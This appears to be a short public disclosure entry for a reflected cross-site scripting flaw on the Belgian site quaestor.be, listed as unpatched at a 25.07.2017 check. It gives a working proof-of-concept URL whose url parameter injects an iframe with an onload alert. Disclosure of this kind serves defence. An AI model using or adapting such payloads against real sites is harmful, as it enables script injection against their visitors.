quaestor.be XSS vulnerability

Vulnerable URL: http://www.quaestor.be/site/error.php?url=http%3A%2F%2Fwww.quaestor.be%2Fnl%2Frentmeesters-5.htm=--!%3E%22%3E%3C/script%20%3E%3Ciframe/onload=alert%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS...